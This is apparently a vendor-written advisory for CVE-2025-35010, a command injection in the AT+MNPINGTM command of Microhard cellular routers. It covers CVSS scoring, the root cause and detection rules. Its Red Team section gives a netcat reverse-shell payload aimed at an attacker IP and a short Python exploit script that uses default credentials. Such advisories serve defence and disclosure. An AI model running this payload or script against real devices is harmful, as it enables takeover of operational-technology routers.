CVE-2025-35010
Executive Summary
CVE-2025-35010 is a post-authentication command injection vulnerability affecting Microhard BulletLTE-NA2 and IPn4Gii-NA2 devices. The flaw resides in the AT+MNPINGTM command, where improper neutralization of argument delimiters (CWE-88) allows an authenticated attacker to inject arbitrary operating system commands. Successful exploitation can lead to privilege escalation, enabling full control over the device. With a CVSS score of 7.1 (High), this vulnerability poses a significant risk to operational technology (OT) environments where these cellular routers are deployed. No public proof-of-concept or patch is currently available, increasing the urgency for defensive measures.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Base Score: 7.1 (High)
- Attack Vector: Local (AV:L) – Requires local network access to the device’s management interface.
- Attack Complexity: Low (AC:L) – No special conditions required beyond authentication.
- Privileges Required: Low (PR:L) – Attacker needs a valid user account.
- User Interaction: None (UI:N) – Exploitation does not rely on another user.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Full read access to device data and network traffic.
- Integrity Impact: High (I:H) – Full write access to device configuration and firmware.
- Availability Impact: None (A:N) – The vulnerability does not directly cause denial of service.
Threat Level: High. The combination of low attack complexity, low privileges required, and high impact on confidentiality and integrity makes this a critical risk for OT networks. The lack of a patch amplifies the threat.
Deep Dive & Mechanics
The vulnerability is an instance of CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'). The AT+MNPINGTM command is used for network diagnostics (ping). The device fails to sanitize user-supplied arguments, allowing an authenticated attacker to inject shell metacharacters (e.g., ;, |, &, `) to execute arbitrary commands.
Attack Flow:
- Attacker authenticates to the device’s management interface (web, CLI, or API).
- Attacker sends a crafted AT+MNPINGTM command with injected arguments, e.g.,
AT+MNPINGTM=8.8.8.8;id. - The device executes the ping command with the injected payload, running
idas a separate command. - The attacker gains a shell with elevated privileges (likely root), enabling full device compromise.
Root Cause: The command parser does not validate or escape argument delimiters before passing them to the underlying OS shell. This is a classic argument injection flaw, often found in embedded systems that use AT commands for modem control.
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical secure implementation.
Vulnerable Code (C-like pseudocode):
void handle_mnpingtm(char *args) {
char cmd[256];
snprintf(cmd, sizeof(cmd), "ping -c 4 %s", args);
system(cmd); // Direct shell execution without sanitization
}
Patched Code (Hypothetical):
void handle_mnpingtm(char *args) {
// Validate input: only allow IP addresses or hostnames
if (!is_valid_hostname_or_ip(args)) {
return error("Invalid argument");
}
// Use execve to avoid shell interpretation
char *argv[] = {"/bin/ping", "-c", "4", args, NULL};
execve("/bin/ping", argv, NULL);
}
The patched version validates the input format and uses execve instead of system, preventing shell injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a Microhard BulletLTE-NA2 or IPn4Gii-NA2 device.
- Valid credentials (e.g., admin/admin or obtained via brute-force).
- Network connectivity to the device’s management interface (typically port 80/443 or 23/22).
Exploitation Steps:
- Authenticate to the device (e.g., via web login).
- Craft the payload using command injection in the AT+MNPINGTM parameter.
- Execute the command to spawn a reverse shell.
Example Payload (using netcat):
# Inject command to send a reverse shell to attacker's machine
AT+MNPINGTM=8.8.8.8;nc 192.168.1.100 4444 -e /bin/sh
Automated Exploit Script (Python):
import requests
target = "http://192.168.1.1"
username = "admin"
password = "admin"
attacker_ip = "192.168.1.100"
attacker_port = 4444
# Authenticate
session = requests.Session()
login_data = {"username": username, "password": password}
session.post(f"{target}/login", data=login_data)
# Exploit
payload = f"8.8.8.8;nc {attacker_ip} {attacker_port} -e /bin/sh"
exploit_data = {"cmd": f"AT+MNPINGTM={payload}"}
session.post(f"{target}/command", data=exploit_data)
Expected Result: A reverse shell on the attacker’s listener with root privileges.
Blue Team (Defense & Detection)
Detection Strategy:
- Monitor for unusual AT command sequences in device logs.
- Alert on shell metacharacters (
;,|,&,`) in AT+MNPINGTM parameters. - Use network segmentation to limit access to device management interfaces.
Honeypot Configuration:
- Deploy a decoy Microhard device with logging enabled.
- Capture all AT commands and analyze for injection patterns.
Log Analysis:
# Search for suspicious AT commands in syslog
grep "AT+MNPINGTM" /var/log/syslog | grep -E "[;&|`]"
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | `AT+MNPINGTM=*[;& | ]* |
| Network | Outbound connection from device to unusual IP:port | Reverse shell traffic |
| File | /tmp/.shell or /dev/shm/exploit |
Temporary files dropped by attacker |
| Process | ping -c 4 8.8.8.8;nc ... |
Unusual ping command with appended commands |
| Log | system("ping -c 4 ...") in device logs |
Evidence of command injection |
Detection Engineering
YARA Rule
rule CVE_2025_35010_Microhard_Command_Injection {
meta:
description = "Detects command injection attempts against Microhard BulletLTE-NA2 and IPn4Gii-NA2"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-35010"
strings:
$at_cmd = "AT+MNPINGTM="
$shell_meta = /[;&|`$(){}]/
condition:
$at_cmd and #shell_meta > 0
}
Sigma Rule
title: Microhard AT+MNPINGTM Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts via AT+MNPINGTM on Microhard devices
author: Valters IT
logsource:
product: microhard
service: syslog
detection:
selection:
EventID: 1000 # Example event ID for AT command execution
Command|contains: "AT+MNPINGTM="
filter:
Command|re: '^AT\+MNPINGTM=[a-zA-Z0-9\.\-]+$' # Normal usage
condition: selection and not filter
falsepositives:
- Legitimate use of ping with special characters (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"CVE-2025-35010 Microhard AT+MNPINGTM Command Injection"; flow:to_server,established; content:"AT+MNPINGTM="; pcre:"/AT\+MNPINGTM=[^&]*[;&|`]/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices on a separate VLAN with strict firewall rules.
- Disable remote management (web/SSH/telnet) if not required.
- Change default credentials and enforce strong passwords.
- Monitor logs for suspicious AT commands.
Long-Term Fix:
- Apply vendor firmware update when available.
- Implement input validation for all AT command parameters.
- Use
execveinstead ofsystemin firmware code.
Workaround:
- Deploy a reverse proxy that filters AT commands for shell metacharacters.
- Use network-based IPS (e.g., Suricata) to block malicious payloads.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.